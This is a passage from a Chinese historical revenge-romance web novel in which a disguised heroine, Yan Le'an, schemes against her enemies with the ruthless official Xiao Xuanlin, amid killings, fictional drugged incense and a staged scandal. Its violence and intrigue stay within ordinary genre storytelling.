萧玄凛的位置很隐蔽,除了她这个方位,底下人根本注意不到原来二楼竟还有如此绝佳的方位。 只有站在舞台中央的晏乐安刚好顺着死角一览无余。 这也是怡红院专门为了那些有权有势的人专门安排的地方,可以看清怡红院一楼全部布局,也是最佳观赏位置。 有权有势,果真可手眼通天。 她晏乐安迟早有一天一定会让他跪在地上求她,而不是像个蝼蚁一样只能仰望他。 她收回了视线,坦然的接受这个结果。 大不了她待会儿直接迷晕郑言,再去找张良。 8. 赌他会救她 “看来今日月魄姑娘将与郑公子共度……” 王妈妈的话音未落,不知被什么东西一勾,重心顿失,身子一歪,噗嗤一声,结结实实地摔了个四脚朝天。 晏乐安装模作样的去扶王妈妈,却在王妈妈一只脚站稳后手上卸了力。 又是噗嗤一声,王妈妈整个人又直挺挺的摔了下去。 晏乐安忍住嘴角的笑意,故作惊讶,面上满是担心。 “三千两。” 二楼传来熟悉的声音,她顺着声音来源看去,萧玄凛深邃的眼神有着若有若无的戏谑。 众人听见这个数目,纷纷看向二楼。也不在在意台上人的状况,王妈妈赶紧灰溜溜的爬起来下了台。 此时的萧玄凛已经越过隔帘,凭栏而立,白色的衣角被穿堂风掀起一角。 楼下喧嚣如沸,晏乐安立于中央,昏黄的羊角宫灯从雕花木梁垂落在女子的半边身体。 萧玄凛的指尖无意识摩挲着栏杆木纹,眸光沉沉掠过她脚边的水袖,又顺着衣角落在她的脸上。 晏乐安急忙扯出一个尴尬的笑容, 遭了,骂早了。 她收回她刚才的话,他算半个好人。 “你是个什么东西,敢和小爷我抢人。”郑言骂骂咧咧的道。 这时,台下有人认出了萧玄凛的身份。原以为是哪个不知天高地厚的毛头小子,竟敢和当朝中书令家的公子抢女人。谁人不知,那人就是个极其不讲理的,偏偏有位中书令的父亲。 可这人是萧玄凛啊! 当朝镇北王独子,出生便被陛下亲封世子。后来更是凭着一股狠劲坐上大理寺卿的位置,那双手不知沾了多少达官贵族的血。 其实便有他的师父,前吏部尚书李工。 大乾朝,要说让人人都惧怕的人,也就只此一人了。 可听闻,他从不近女色。以前不妨有人被他抓住把柄,找寻各地美女送往他府中。 第二日,这些女子便被活活剥了皮扔在那些人门口。 后来,大家也就歇了这些心思,也知道了这位主儿,是位只见血不近色的主儿。 可今日,他竟会为了一位花魁豪掷千金。 区区一个月魄娘子,也不过是一个赏玩的玩意儿,魅力竟可大到如此地步吗? 猜想归猜想,有眼见的人已经吩咐手下开始行动了。 看来这世间的男人,总归逃不过情色二字。 饶是他萧玄凛是尊菩萨,也有动凡心的那一天。 “世子殿下赎罪,小人有眼不识泰山,还望世子殿下见谅。” 郑言早就从众人窃窃私语中得到了他的身份,竟然是这位主儿。 要是让父亲知道,他今日差点开罪了萧玄凛,少不了一顿板子,几个月的禁闭。 他连忙跪下请罪,却迟迟未等到萧玄凛回复。 甚至是,一个眼神都没给他。 他的眼神始终在舞台中央那位女子身上。 晏乐安被萧玄凛盯得有些发慌,这人怎么回事。 总不能是因为她害他花了三千两银子记恨她吧。 可转念一想,是他自愿的啊。她此刻早已忘了她那会儿求救的眼神。 “阿凛,你这样盯着人家姑娘,怕是喜欢你都要被你吓跑了。”楚瑾看他许久未有动作,直勾勾的盯着晏乐安,这才忍不住出声。 萧玄凛眼皮微抬,毫无波澜。 在没人看得见的地方嘴角不经意的勾起一丝笑意,似是嘲讽。 ———— 厢房。 “说说吧,你今日演这么一出戏,目的是什么?” 萧玄凛淡淡开口。 “我想约张良在酉时三刻二号房想见。” “若我刚刚没有出手,你可知,你今日不会活着走出怡红院。” 晏乐安被他说的一脸懵,有这么严重? “大人为何这样说?” “别告诉我你不知道,郑言此人,最爱霓裳羽衣舞。凡看上的女子,没一个逃出他的手掌心。” “当然,这都不是最重要的。关键是此人有难以言说的性癖,专爱折磨无辜少女。凡经他手,遍体鳞伤余生只能卧塌是最轻的。” “阿乐实在不知道,只一心为了接近张良,没想过其他。” “不过,照这样说,大人岂不是又救了阿乐一命。”她笑着看向萧玄凛,却在触及他冰冷的目光中低下了头。 “你今日赌的不就是我会救你吗?”他垂眸盯着手中冷透的茶盏,指节在杯沿碾出青白痕迹。 晏乐安听见这句话又开始直面看着他,廊外有喧嚣隔着层雕花窗棂渗进来,萧玄凛面无表情: “给张良留信,利用他们两人之前恩怨,故意激起郑言的好胜心。你今日的目标从始至终就不止张良一人,而是想一箭双雕,我说的可对,阿乐?” “大人,我没有。阿乐刚到京城不久,怎么会知道郑公子与张良的旧怨。” “哦?那阿乐不妨告诉我,今晨一早银月外出可有何要紧事?。可不要说,你只是单纯让她出去帮你采买物品。你应当清楚,在这京城你的一举一动我都一清二楚。” 晏乐安唇角勾起一丝笑意,虽然她早知道这人一直派人监视她,但实在没想到竟然是这里漏了破绽。郑言的确是她让银月故意放出今日怡红院月魄娘子会表演的消息引来的。 他竟然已经怀疑到银月身上了吗。 不对,他是故意的。 他怎么知道她给张良递了纸条,当时那么隐秘,就算他在楼上按理说也不应该注意到。 除非, 除非他早就知道! 她的纸条是在换衣服的时候拜托月魄给她纸笔写的,知道的人也只有她和月魄。 那么,就只有两个可能性。 要么,月魄是他的人。 要么,怡红院真正的东家是他。 如果,月魄是他的人,那他知道理所当然。如果,怡红院背后真正的东家是他,那么想必这里面到处都是他的眼线。 怪不得,她今日能如此顺利的进来,甚至那名被她迷晕的婢女也进行的太过容易。 或许从进门开始,王妈妈的言外之意也是他的授意。 晏乐安猛然看向他,而萧玄凛半倚在躺椅上,似笑非笑望着她。 “终于想明白了,阿乐。” “我知道,你是个聪明人。只是可惜,你的这些小聪明用 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这也是她敢出此下策的原因,就是笃定他们会息事宁人。 毕竟,一个人死,还是一家死。他们都是多少年的老狐狸了,大不了以后在暗地里使绊子。如今交恶,得不偿失。 当时的求救也不过是个幌子,只是赌一把。 如果萧玄凛救了她,那说明她对他而言暂时还有点用,他目前也不会让自己陷入危险中。那么,她就可以放心大胆的实施计划。 如果他没救,那她今晚也不会吃亏。剩的药完全够让一个练武的男子如入梦境,更何况是一个整日只知道花天酒地的纨绔公子哥。 只是,她现在还不能挑明。若是让他知道她存了不该有的心思,她怕是还未报仇就死无葬身之地了。 萧玄凛这个人,太危险了。 “不明白,呵。” 晏乐安有点懵,一双眼睛无辜的看着他。 “张良今夜不能死。”萧玄凛慢条斯理的开口。 “大人说笑了,阿乐听不懂。我虽然想杀他,但以我的一人之力,自然是办不到的,到时候也是需要大人帮忙的,自然是大人说什么时候死便什么时候送他归西了。” 萧玄凛面无表情的看着她,忽然话锋一转: “进来。” 此时,晏乐安也听见门被推开的声音,她的视线顺着声响看过去。 楚瑾带着一个半百之人走进来,老人看起来身体不好,一直躬着腰,颤颤巍巍的走进来。 暮色从雕花窗棂漏进来,照在了青砖地上灰紫色的水渍。 晏乐安攥着衣角的手突然僵住,眼前这个佝偻着身躯的人,是张阿乐的父亲。 短短几个月,为何苍老了这么多? 老人浑浊的眼珠艰难转动,喉头发出风箱般的喘息,终于认出了眼前的女子。 “阿乐,是你,真的是你。我找你找的好苦啊。” 老人说的时候泪流满面,一副刚找到女儿伤心欲绝的样子。 只有晏乐安知道,他就是一个恶魔。 她踉跄着后退几步,指甲深深掐进皮肤里,用力掰开老人的双手。 9. 接近 耳畔轰然响起多年前那个雨夜,女子蜷缩着身子告诉自己那个只会一遍遍用柳条殴打她,一次次想把她卖入青楼只为了换一些白面,还有为了他的儿子想将她卖掉的人与此刻跪在地上的模样重叠,就像刀子一样在心里凌迟她。 她死死咬住下唇,尝到血腥味才惊觉自己几乎要瘫倒在地。 这个人他欠阿乐的,若不是她和阿乐做了交易,阿乐早已死在那个被她亲生父亲殴打的雨夜。 一只冰凉的手抵着后腰,透过纱衣刺得她猛地一颤。 晏乐安抬头就对上一双蒙着灰翳的眸子,萧玄凛不知道何时来到了她的身后,一只手牢牢的撑住她几乎瘫软的身躯。 那只手明明冷得刺骨,却固执地扶着她的腰,她的指尖不自觉的抓住身后之人的胳膊。抓住这个目前她唯一可以抓住的支柱。 恍惚间,她闻到若有似无的血腥味,混着一丝药气,在喉间酿成酸涩的苦意。 寒意顺着腕骨攀上来,晏乐安听见自己剧烈的心跳震得耳膜生疼。 是心痛,也是害怕。 眼前跪着的是让阿乐倍受欺凌的生身父亲,身后站着的是随时可以要她命的阎王。 萧玄凛骤然俯身,冰凉的呼吸裹挟着铁锈味拂过耳畔。 “我可是千辛万苦才找到他的。” 微微的低语像是毒蛇吐信,擦着滚烫的耳垂落下:“看你这表现,这么害怕?” 他的下颌几乎要蹭上她泛红的皮肤,指节隔着衣料掐进她腰间。 既是警告,也是支撑。 晏乐安早已僵住,哪怕她知道她的身份已经万无一失,可心中的害怕到底还是油然而生。 “我不想见到他。” “杀了。” 萧玄凛听见晏乐安说的话,冷声道。 “不要,不要,阿乐,救我,救救我。” “我可是你父亲,是生你养你的人,你得救我。你难道要背上害死父亲的罪名吗?”老人见晏乐安没有任何反应,恶狠狠的威胁她。 “生我养我?” “呵呵……” “阿爹,你说这话不觉得可笑吗?是谁嫌弃我是个女儿便整日打骂?是谁因为阿娘只是偷偷给饿了三天的我吃了一个红薯就被你打到奄奄一息?是谁为了你那个整日无所事事,只会吃喝玩乐的儿子几次三番把我卖掉?” “生我养我,你怎么好意思说得出这种话。” 晏乐安的声音已经沙哑,眼睛也已经通红。 “你根本不配为人父亲,亏的阿乐喊你一声阿爹。” 晏乐安靠近挣脱掉身后男子的桎梏,靠近面前跪着的老人,用只有两个人可以听到的声音冷身道:“你到现在还以为我是从前那个任你随意欺凌的阿乐吗,可真好笑。哦,对了。你那个宝贝儿子想来不久后也会和你在阴曹地府相聚的。到时候你们父子二人可要好好团聚啊,也要好好看着阿乐离了你们是如何在这世上痛快的活着。” 老人听完恶狠狠的看向晏乐安, “逆女,你...你把安儿怎么了?” “阿爹说什么胡话呢?弟弟不是离家三月未归了吗?”晏乐安故作柔弱,后退几步躲在萧玄凛身旁。 “逆女,逆女啊!!!受死吧。” 老人不知从哪里掏出一个匕首一个跨步就要朝晏乐安过来。 萧玄凛的眼睛里闪过一丝玩味,递给了楚瑾一个眼神。 霎那间,老人已倒地,鲜血从脖颈间流出来。 这时出来几个穿着黑衣的暗卫将尸体装在箱子里抬出去,又出来几个人有条不紊的处理场地。 晏乐安缓缓转过头,此时的厢房已经恢复原样。她装模作样的挤出几滴眼泪: “大人,可不可以不要扔在乱葬岗。” 一般像这种死去的人,都会被丢去乱葬岗,无名无姓,孤魂野鬼。 “阿乐,我知你恨他,但也知你心慈手软,就当是全了你与他最后的亲情。”晏乐安在内心默默对着那个瘦弱的女孩子说。 她眼角的泪水仍有残留: “虽然他待我不好,但也是阿乐的父亲,至少生我一场,阿乐实在是不忍心看他死后无法入土为安。” 说着,她还掩面擦了擦眼泪。 “既如此,我自然不会阻挠。” “只是我发现了一件很奇怪的事情,你那位弟弟去哪儿了?整个青石县都未找到他的身影。” “阿乐早已与他们恩断义绝不知,自然也不会在乎他会去哪儿,亦或是是死是活。” “看不出来阿乐还是一个睚眦必报的性格,既如此,便罢了。” 楚瑾早已随着处理尸体的人离开,此刻房间里只剩下了他们二人。 她在颤抖,没错。 她害怕,这已经是她第二次目睹萧玄凛杀人了。 更何况这个人还是她名义上的亲生父亲。 可她不能退缩,当她看见楚瑾在离开时递给萧玄凛画像时就知道,这次才是真正坐实她身份的机会。 利用阿乐父亲来试探她之前所说的话是否为真,毕竟一个从小虐待她的人,再次相见的第一反应是最好判断的。 更何况是对她这样一个满口说要为母亲报仇的人来说,嫉恶如仇才该是她的本性。 毕竟只要稍一打听便会知道她从小极受父亲虐待,甚至差点失手杀了她,那么对着一个虐待她多年的人,哪怕是亲生父亲,也不会手软。 萧玄凛从来都没有信过她,留着她也不过就是想看看她的真实目的。 之前的试探只不过是闲来无事随口一提,这次才是真真正正的第一次试探。趁着她一心想着如何接近张良郑言,给她一个措手不及。 晏乐安再次扭头看向已经坐在躺椅上的萧玄凛,桌上的两杯茶是刚刚他沏好的。 还好,她赌对了。 “愣着干什么?过来坐。” 萧玄凛朝晏乐安做了一个手势,示意她坐下。 晏乐安没有丝毫犹豫,径直走过去坐下。 要知道,能和萧玄凛这样的人坐在一起,是一件压力极其大的事情。 大理寺卿,一个冷酷无情的刽子手。这是同僚对他的评价,朝堂中人对他更是又怕又没办法。 毕竟,他有个镇守边关的王爷爹,任何一个朝代,但凡是手里有兵权的,都是多少人想要拉拢的对象。 更何况,那可是萧家军,大名鼎鼎的大乾战士,据说其军中士兵各个可以一挡百,凶悍无比。 在战场上更是悍不畏死,冲锋时如猛虎下山,锐不可当;防守时也 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“这才刚过一会儿你就忘记我说的话了?” 他指的是他说张良今夜不能死。 可是,凭什么? 他一个强抢良家女,不知道残害了多少无辜人性命的罪魁祸首。 要不是因为他有个钦天监的爹,德妃的姑姑,早就该被物理阉割,然后受尽大理寺一百零八道酷刑。 晏乐安强忍着恨意:“大人又说笑了,谁要杀他?” “我只是想给他一些教训。” “什么时间?” 晏乐安愣了一下,才反应过来萧玄凛这是在问她引郑言的时间。 “酉时二刻。” 她立马回答,笑容满面,露出一口大白牙。 “大人简直就是阿乐的救星。” “不过,大人为何说张良今夜不能死?” 晏乐安得寸进尺的追问,萧玄凛怎会在意区区一个张良的性命,这其中一定有什么缘由。 “鱼儿没有饵,会一直藏着。”萧玄凛冷声说。 “所以,今夜这个饵是张良?” “聪明!不过,现在又多了一个人。” 晏乐安看着他,忽然感到浑身冷飕飕的。 “大人,不会多的这个人刚好是我吧?”她用手僵硬的指了指自己,扯出一丝勉强的笑。 萧玄凛似笑非笑的看着她:“你说呢?” “从你入京之日,就不断打听那枚玉佩的主人。既然已经知道了是我,以上京城打听消息的速度。你不会不知道我是一个怎么样的人,但是,你还是想法设法接近我。” 萧玄凛停顿了一下,视线落在晏乐安的身上。 “楚瑾就是你遇到的第一个契机,你知晓我与他之前的关系,于是借着乐安公主进宫顺势让楚瑾注意到你的玉佩。见到我,不就顺利成章了。” “不过,你有没有想过。楚瑾怎么敢把一个陌生女子随意带到大理寺密室,你以为你看到的那一幕是偶然吗?” 萧玄凛声线慵懒,唇角却噙着三分玩味。 10. 杀谁 “你早就知道?” 晏乐安瞬间警惕起来。 “这不重要,今日这场局我也陪你演了许久了。” 萧玄凛接着说,每一句话都直挺挺的扎入晏乐安的心里:“你假扮月魄,将他们两人引入同一个房间,若我当时不喊价,恐怕今夜这怡红院里,就会上演一场为争红颜而大打出手,落得个两败俱伤、同归于尽的下场了。” “大人既然猜到了,那阿乐也不逗圈子了。我的确是故意接近的大人,一来是为了给自己一个别人不敢轻易动我的身份。二来是因为在这京城,我只认识大人。” 晏乐安说着,忽然偏头望向窗外。一缕阳光透进来,她苦笑了声。 “三从礼教囚终身,半世浮萍不由身。” “不知大人可曾听过这句话,短短的十四个字桎梏住了这个朝代女子的一生。可是,女子之难,却不仅仅至于此。” “我的娘亲一辈子按照世人对女子的桎梏严格用妇德、妇言、妇容、妇功来规范自己。可她得到了什么呢?原本该温柔体贴照顾她的夫君动辄就打骂她,拼死产下的儿子嫌弃她,厌恶她。后来,为了保护被恶霸差点强占的女儿,生生被勒死。” “大人,我曾经亲眼目睹自己的娘亲死在面前,就躺在我的怀里,一点一点短了气息,合上眼眸。哪怕我声嘶力竭,却还是无能为力。” 晏乐安的泪水大颗的流下来,眼睛里泪水混杂着血丝。 “我所说,句句属实。”晏乐安看向萧玄凛,泪水顺着脸颊,跳过脖颈,落在腰间的玉佩上。 无论是她的母妃,还是阿乐的娘亲,又有哪一个得以善终呢? 这世道对女子向来都是苛刻的。 “大人,无论您信不信我。张良,张守正,张德妃的确是我的仇人。至于郑言,他也不是个好人,死在今日也是死有余辜。所以今日,我必须得杀了他们,哪怕赔上我这条性命。” 萧玄凛似乎是没想到面前女子忽然坦诚相告,字字啼血。 他转过头不在看她,缓缓出声:“郑言是为何?” 晏乐安忽然轻笑出声,眉眼弯弯却藏着锋芒:“每个人都有秘密,阿乐既然答应对大人知无不言,但还请大人给阿乐一些时间,等到该说之时,阿乐一定毫无隐瞒。” 说完,她眼睛直勾勾的盯着萧玄凛,满腔仇恨已经被她渐渐的压了下去。 萧玄凛看着眼前这个看起来柔弱却带着满身恨意的女子,她的话半真半假,变脸速度也是神速,前一刻还哭得梨花带雨,下一秒便眉眼含笑。 他试图找出漏洞,却对上了那双明亮的眼睛。 不像假的。 那段经历也与他查到的一样。 她的恨也是真的,特别是她刚刚看着他的眼睛,眼底的恨意似乎随时要吞蚀掉所有的理智。 她在忍,在刻意的压抑住自己的仇恨。 可到底是个小姑娘。 在提起仇人时,还是露出了真实情绪。 萧玄凛面无表情,将冷掉的茶水换掉,又递给了她一杯热的: “我们做个交易,如何?我护你平安,替你掩护,帮你报仇;而你,帮我杀一个人。” “事成之后,我给你想要的,无论你想远走高飞还是想立足上京,我都会为你安排妥当,无后顾之忧。” 晏乐安的眼里有些许震惊,她还没从他说的话里缓过来。 拿起桌上的茶盏,指尖冰凉。她反复在心里推敲着每一个字,借着低头喝茶的动作,用眼角余光不动声色地扫过他。 只见他神色淡然,看不出丝毫破绽,这反而让她心里的疑虑更深了几分。 他想杀的究竟是什么人? 按理说,他想杀一个人完全可以悄无声息。 如果这个人连他自己都没法动手。 又为何让她来,这个人和她又有什么关联? “杀谁?” 萧玄凛抬眸:“事成之后,自会告知你。” 晏乐安思考片刻说道:“以大人的手段,想杀一个人想必只需略使小计。即使是那权势在高之人,只要大人想,也不是无计可施。” 萧玄凛慢吞吞的吐出两个字:“未必。” 晏乐安疑惑的看向萧玄凛:“阿乐实在想不明白,如果这个人连大人都无计可施。以我的能耐,势必也是难如登天。而且阿乐没有武功,身体也不太好,打也打不过,跑也跑不快。大人又为何将此任务交给我?” “万一那人是个身强体壮,武功高强且计谋高深之人,她跟白白送命有什么区别。”晏乐安小声嘟囔。 “你是我的人,我自然会护着你。” 萧玄凛沉默片刻,面无表情: “至于你这条命,早就是我的了。” 这人说起话来怎么这么气人,什么就是他的了明明是他好几次差点杀了她,她这条小命保的容易吗? 晏乐安虽然心里这般想,但面上却不敢显露半分,只假装开心的说道:“大人既然这么说,那阿乐就放心了。” 萧玄凛抬眸看见的,就是女子唇角扬起笑容,梨涡浅现如盛满眼尾弯成月牙,睫毛在眼底投出细密的阴影。 忽然,女子偏头微晃了一下,鬓角散落的发丝随之落在她的肩头。萧玄凛觉得今日这样打扮的她确实有几分让人忍不住去探讨她的诱惑。 目光移到她的脸上,整个面容泛起柔和的光晕,连空气都跟着染上了甜香。像是早春枝头悄然绽放的玉兰,带着不张扬的清贵。 他连忙转移视线,不在看这个女子。 在萧玄凛没有注意到的地方,晏乐安唇角微微显出一丝笑意。 片刻后,萧玄凛出声: “柔枝易折,笑面藏锋,看似纯善者,往往藏刀最深。” 说完,目光沉沉落在她脸上,嘴角不自觉漫上一抹笑意。 晏乐安心里一颤,抬眸看向他。 她这算是被他算计了吗? “大人。”守川走进来抱拳行礼。 “如何了?” “郑言已经在厢房等候,属下在一刻钟前就已点燃迷香,现在只等张良按时赴约。” 萧玄凛语气冷淡:“盯着他,若有什么动作,直接动手。” “是。” 守川从五岁时就跟在萧玄凛身边,自然知道这个动手指的是什么意思。 无论任何方式,只要不弄死,那么今日酉时三刻张良是一定要出现在厢房中的。 晏 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晏乐安的脑海中忽然联想到这句话,初次见到萧玄凛,他就是一身素白长衫,被暗红的血液浸透。 如今,他亦是一身白衣。坐在檀木椅上,全然没有刚杀过人的恐慌。反而,像是密谋一场更大的局,等着棋盘上的棋子一个个浮现。 而今日之后,她也成为了他棋盘上的一枚棋子。 可这确是她千辛万苦才得到的。 她甘愿做这颗棋子,哪怕撞的粉身碎骨。 她的指尖抚过腰间短剑,脑海中闪过一幕幕场景。 血迹,痛苦,嘶吼,不解,绝望,颤抖,窒息。 不知不觉间,她的眸光开始淬着冷意,唇畔勾起了一抹森然弧度。 往日种种,皆刻在心头。从今日起,这阎罗殿的生死簿,便由我来执笔。 晏乐安打开虚掩的门扉,点上房内烛火。郑言瘫坐在椅子上,额角抵着冰冷的铜炉,垂落的发丝间渗出细汗。张良仰面倒在满地碎瓷中,染着茶渍的衣袖下,还有一张暗黄色的纸条。 将纸条从张良手里拿到蜡烛上方,烛火跃动的光映得纸页上的字迹明明灭灭。 火焰只燃烧了一瞬,手里的纸条已蓦然变成灰烬。 晏乐安的呼吸已经有些沉重,匕首贴着郑言的脖颈划出浅痕,她闻见张良身上熟悉的沉水香,记忆却不受控地漫回到娘亲死去那日,这人一脸的嗤笑: “瞧瞧这副惨样!不是挺会装清高?现在怎么不站起来咬我啊?不过是个下贱的贱人而已,死了倒省得脏了爷的眼!” 张良踹开阿乐抱着娘亲不停颤抖的手,绣着金线的皂靴碾过芸娘半阖的眼睑,尸首歪在墙角,嘴角还凝固着未说完的遗言。 “既然你选择做了阿乐,那就请你好……好好活下去。我要去找我……。” 晏乐安望着张良这张令人恶心到极致的脸,握刀的手却突然颤抖如筛,指节泛白,指甲几乎掐进掌心。 想起萧玄凛的话,握刀的手突然颤抖如筛。梦里的血仇翻涌而上,喉间腥甜翻涌,最终还是将刀收回到了袖中。 11. 黑衣人 晏乐安转身蹲下跩住郑言的胳膊,试图将人架起来,却被他歪斜的重量带得跌坐在地。 使了九牛二虎之力才将郑言半抱半拽到塌上放平,又转身去拖张良,一寸寸往床榻挪动,粗重的喘息声在寂静屋内格外清晰。 将两人都拖拽在了塌上后,她又开始犯了难。 扒衣服这种事情对一个女孩子来说实在是有点不太雅观,虽然她不是什么不拘小节之人。 但是面对这两个她恨到骨子里的人,暂时不杀他们已经是她最大的忍耐了,更别提扒他们的衣服了。 望着榻上昏迷的两人,晏乐安攥紧裙角,忽然想到了什么,转头对着窗外小声喊到: “我知道你们在,能不能进来搭把手。” 果不其然,墙垣外传来衣袂破风的声响,两个黑衣人从窗外进来。 萧玄凛此人,绝不是一个轻易相信别人的人,她早就猜到了他肯定会让人盯着她,以免她杀了张良,坏了他的计划。 “那个,帮我扒掉他们的衣服。” 晏乐安早已调整好了自己的情绪,两个眼睛笑眯眯的,说出来的话却让两个人瞳孔震惊。 两人下意识的看向站在面前的女子,一脸的不可置信。 “姑娘,当真要扒?这个时候不合适吧。”伏川开口说道。 晏乐安看见他们两个的表情就知道他们指定是误会了。 连忙开口解释:“我的意思是扒掉他们两个衣服,然后让他们躺一张塌上。” 她说完眨巴眨巴眼睛补充到:“你们懂吗?京城应该有不少王公贵族喜好这种事吧。” “你们都是暗卫了,不会这点小道消息都没打听过吧。那岂不是太没用了,镇北王府的粮食岂不是白白糟蹋了。” 守川和伏川哪里还不懂这其中的意思,只是看着面前的女子一脸认真的说出来,丝毫没有女儿家的腼腆害羞,难免有些不可置信。 不过,他们还是麻溜的扒掉了两人的衣服,顺便还调整了一下方向。 晏乐安则转过头点燃一支香,噬魂香。闻着,失去理智,浑身燥热,嗜血好动。 刚刚在将两人扛上塌时,她就给张良喂了噬魂香的解药。 接下来,就让他们好好享受吧。 守川和伏川看见这一幕,想起晏乐安说的这香的功效,对视一眼,暗暗在心里比了大拇指。 让两人自相残杀,还是如此……的手段,若是明日掀开这扇大门,见此情景,更别说高门大户最忌讳这种事,暗里还好遮掩,放在明面上,这京城指定会传的沸沸扬扬,不亏是他们大人看中的人。 够狠也够聪明。 就是这女子会不会身体太弱了点。 晏乐安刚刚已经将力气耗的差不多,本来就已经有点累的走不动。偏偏这屋里原本的迷香还未散尽,被她吸了一些,已经有点昏昏欲睡。 她感觉到自己腿一软就没有知觉了。 再次醒来时,指腹触到的是柔软锦缎,晏乐安心一慌以为自己坏事了,猛地睁眼。 “醒了?” 低沉嗓音惊得她浑身紧绷,只见雕花圆桌旁,萧玄凛正坐在椅子上慢悠悠的摩挲着青瓷茶盏。 四目相接的刹那,晏乐安下意识攥紧被角。他的目光太沉,带着种剥茧抽丝般的力道 “看够了?”他忽然低笑,端起茶盏的动作带着几分漫不经心。 晏乐安像是被烫着般立马低头,心里默默想这人怎么这样,不就多看了他几眼。 “大人。” 女子语气柔柔的,听起来没有什么精气神。 “做的不错,不过你的手段挺出乎意料。”虽是夸奖,但萧玄凛的声音却是淡漠的,语调平的近乎冷漠。 晏乐安:“……” 晏乐安偷偷观察他的表情,眉眼含笑却不达眼底,琥珀色茶汤映出他眼角痣,妖冶如血。 若是此时站在这里的是个寻常男子或者是还未见过他杀人见血时的晏乐安,那么必定会以为这人是世间生来就该被人们敬仰的神,就该高坐明台之上,引的数人为之倾心为之仰慕。 “只要不坏大人的事阿乐就心满意足了。”晏乐安回应道。 内心也暗暗回应:手段这个东西,好用不就行了。 他们败坏了多少无辜女孩的名声,现在就该让他们自作自受,不切身体会一下又怎么能知道放在别人身上有多痛。 她还沉浸在那些人渣如何毁掉良家妇女的痛苦中,忽然,只见眼前一黑。 暮色突然被剑光劈碎,檐角瓦片轰然炸裂,无数道黑影如鬼魅般破窗而入,刀刃泛着淬毒的银光。 “不是吧,这么倒霉。”她连滚带爬的翻下床躲在萧玄凛身后,死死拽住他的衣角。 萧玄凛指节叩着茶盏的动作顿住,青瓷与桌面碰撞的脆响戛然而止。 黑衣人蜂拥而上,萧玄凛勾起唇角,茶盏脱手而出,瓷片飞溅间,离他最近的黑衣人咽喉已被银针贯穿。 下一秒,暗卫们从梁柱后飞身而下,寒光与血珠在空中织成死亡的绸缎,只几瞬,黑衣人接连倒地。 晏乐安余光瞥见混在其中的几个黑衣人,刀柄上都缠着同样的黑红丝线。 趁混乱之际,她垂眸以指叩腿三下,又迅速别过脸去。 一个黑衣人突然改变招式,剑锋直直向着萧玄凛胸口而去,晏乐安见状怕伤及自己,连忙松开抓着萧玄凛的衣角打算找个安全的地躲起来。 在松开衣料的刹那,萧玄凛忽然反手扣住她的手腕,骨骼碎裂声清晰可闻。 “不想死就别乱跑。”萧玄凛的声音有些急切。 晏乐安的心脏猛地漏跳一拍,暗处的两个杀手们互相对视,将手里的刀刃又握紧几分。 她紧张的看向前面厮杀的众人,黑衣人已经快要刺向萧玄凛,她抬眸望向萧玄凛,他的嘴角勾起一丝笑意。 不好。 千钧一发之际,晏乐安猛地扑出,冰冷的刃锋刺入肩膀的瞬间,喉间腥甜翻涌。 倒下的瞬间,手指又轻扣两下。 几个黑衣人见状,对视一眼便翻窗而出,只剩几个还在拼死顽固。 “找死!”萧玄凛突然出手,一瞬间,最后三名黑衣人便被制服。 他转身接住瘫软的晏乐安,指腹触到她后背黏腻的温热,望着她染血的苍白面 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可她不行啊,万一他没顾上她,那她指定躲不过那一剑。 于是,她当机立断。与其被迫被刺,还不如主动被刺,说不定又能讨一份恩情。 这下,他可欠她两次救命之恩了。 她可真聪明。 嘶……不过,真疼啊。 晏乐安捂着肩膀上的伤口,面目有些许狰狞。 “银月,你可知道那日可还发生其他什么事了。还有哪些黑衣人是什么来头,为什么要刺杀大人?” 银月一脸担心的看着晏乐安,将手里的汤药递给她,看她乖乖喝下,这才慢条斯理的说。 “奴婢听说是因为世子前几日抓了一个名叫程诀的人,那些黑衣人据说是为那人报仇的。” “程诀是谁?” “早年间是钦天监监正的助手,据说十年前就告病还乡了。后来不知因为犯了什么事被关入大理寺。其他的事情奴婢就不清楚了。” “不过,近几日京城发现了一件有意思的事情。” “什么事?”晏乐安被提起了兴趣。 “就是传闻中书令次子郑言和钦天监监正张家独孙张良好龙阳之癖。听说那日怡红院有位恩客喝醉酒不小心发现时两人还……” 银月的耳朵已经通红,光是听别人说起来都已经被震惊了许久,更何况如今还要给自家公主讲。 但看见晏乐安一脸认真,一双眼睛目光炯炯的盯着她,她也顾不得害羞了。 “还赤身裸体,紧紧相拥。” “而且据说张良是被郑言强迫的,因为誓死不从,郑言又喝了酒,有些神志不清,才得以……,而且听闻张良暴怒之下一刀捅死了郑言。” 晏乐安的眉头已经皱的老高,内心却已经乐开了花。 太棒了,她要的就是这个效果。 不愧是花了一两银子请来的长舌,这传起谣言来,真真假假,假假真真,难已分辨。 她都要信了呢。 12. 看戏 虽说这京城多的是这些腌臜事,但是都是暗地里,一旦被摆到明面上,那势必是被唾弃,谩骂的。 哪怕他们是达官贵人又怎样,他们仗着权势欺负别人时可有想到,迟早有一日,也会阴沟里翻船。 “银月,那你可知,大人近日都在干些什么?可……有来看过我” 晏乐安才刚刚醒来,面色还是苍白的,但提起萧玄凛时多少带了点女儿家的羞涩,她小心翼翼的偷瞄门后那一抹玄色。 银月摇了摇头,没有说话。 晏乐安见状哪里还不知道,默默垂头丧气,刚提起来的精气神好似一下被抽干。 “大人是不是怪罪我自作主张,如果不是因为我,是不是那几个黑衣人就不会跑,都怪我太弱,不能帮大人就算了,还净添乱。” 晏乐安说着说着眼泪就流了下来,眼睛也泛了红:“可是,我实在害怕,那剑离大人太近了,我怎么能眼睁睁的看着大人受伤,这才情急之下去帮大人挡剑的。” 她说完抬手抹了抹眼泪,眼睛更加红了。 萧玄凛进来时就看见这一幕,塌上女子垂着头,指尖轻轻拭过眼角,发间滑落的碎发掩着泛红的眼尾。 鼻尖泛着薄粉,明明想强装镇定,微微颤抖的肩头却泄了情绪。 许是他的走路的带了些许声音。女子抬眸看向他,含着泪的眼睛忽然明亮起来。 “大人,你来看我了。” 明明还带着伤,面色也是苍白,说起话来还带了些颤音。 他来看她就那么高兴? 他可忘不了那日明明叮嘱过她让她不要乱动,以他的身手想要伤他和他要护的人谈何容易。 可她偏偏不要死的自己冲上去,还说什么不会让他受伤。 他何时需要一个小姑娘来护了。 萧玄凛冷着脸走到晏乐安的面前,掌心刚覆上她肩头,女子便疼的嗯哼了一声。 隔着半透的纱衣,他指腹能感受到伤处的肌理在微微抽搐,他敛眸拨开肩膀处的衣服,指腹擦过伤口边缘。 晏乐安肩头猛地一颤,细碎的呜咽卡在喉咙里,像受惊的幼兽。 